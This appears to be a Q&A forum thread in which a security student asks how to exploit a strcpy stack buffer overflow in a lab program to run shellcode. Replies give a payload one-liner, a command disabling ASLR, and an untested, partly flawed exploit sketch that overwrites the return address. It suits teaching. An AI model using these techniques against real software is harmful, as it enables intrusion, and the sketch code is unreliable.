8
votes

I've been learning computer security lately and come across a couple problems, and i'm having some trouble with this one in particular.

I'm given a function with a fixed buffer I need to overflow in order to execute shellcode in the file shellcode. The function is quite simple:

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value. I am pretty sure I need to manipulate the return address, so currently what i'm calling is:

//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")

my output is:

Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault

the python script simply prints 72 letter A's to overflow the buffer to the point of the edp and eip, after I replace the edp's address with the additional address and arrive at the return address, ready to manipulate it. Any help is really appreciated, thanks!

4
Have you compiled the code with the -really-no-protection and -make-me-vulnerable-to-everything flags? That is nowadays necessary for that exploit.Daniel Fischer
@Daniel Fischer yes, I've compiled previous computer security programs correctly and have been able to overflow them without any problems. I know my program will be running as intendedSyntactic Fructose
Okay, just checking the obvious suspect.Daniel Fischer
Did you disable address space layout randomization? (echo 0 > /proc/sys/kernel/randomize_va_space)PurpleAlien

4 Answers

18
votes

Well, I think maybe this is a like a Buffer Overflow Lab in Computer Systems: A Programmer's Perspective. First, use objdump to get the static address. Second, run it with gdb to find out the address of the stack. Then, fill the buffer with such a string that overwrites the return address to the buffer (so that you can put exploit code, alternatively, you could invoke other code in the program).

Check out this pdf which serves as a guide to this lab. It could provide you with some insights.

As is pointed out, lots of compile time flags are needed to achieve this. ( I would check out which and come back soon ). Alternatively, this post provides a guide on how to compile such an example.

2
votes

My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value.

You want to modify the RET address so that when the function ends it doesn't return to its caller but to the beginning of your shellcode.

((As a brief overview of what a shellcode is, it's a set of assembly instructions (so heavily dependent on the platform you execute the vulnerable process) that execute a shell (usually a root shell) thus dropping you off in a nice environment that you can exploit.))

Now back, what you want is to point the RET at the first assembly instruction in your shellcode. The weird bit is that you have it in a separate file. Is that required?

How it's usually done is that you have something like this:

char shellcode[] = "\x90\x90\x90...";


int main()
{
        /* 
         * huge string (like your 72 A's) that appends the address of the 
         * shellcode at the right address (in your case I think it's 64 + 4) 
         */
        char evilstring[100]; 

        /* Fill the buf and the EBP with A's */
        for (int i = 0; i < 64 + 4; i++) {
                evilstring[i] = 'A';
        }
        /* And the RET with the address of your shellcode */
        sprintf(&evilstring[68], "%p", &shellcode[0]);
        vuln(evilstring);
        /* you should have a shell now */

        /* NOTREACHED */
        return 0;
}

So now, when your function returns, it returns at the address of the shellcode[] string and it continues executing instructions from there. Which is what you want. Because those instructions give you the root shell (or whatever it is that your shellcode does).

Please note that the above is just example code, it's not even compile tested.

If I didn't understand your problem or if I didn't explain well enough, please feel free to ask.

1
votes
char buff[20];
unsigned int pass = 0;

when 'buff' get overflown, the extra input turn the 'pass' into bigger than 0, make it a 'true' value.

0
votes

It's not hard when you know where too look, like said before open the app w/ gdb. r(un) it. Then i(nfo) r(egisters) to see why it crashed. disassemble is very useful aswell.

Also, (I assume you know this):

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

is actually

void vuln(char *str) {
    void *return;
    char buf[64];

    /* Set Return value and store stack */
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
    /* restore stack and jmp to return value. */
}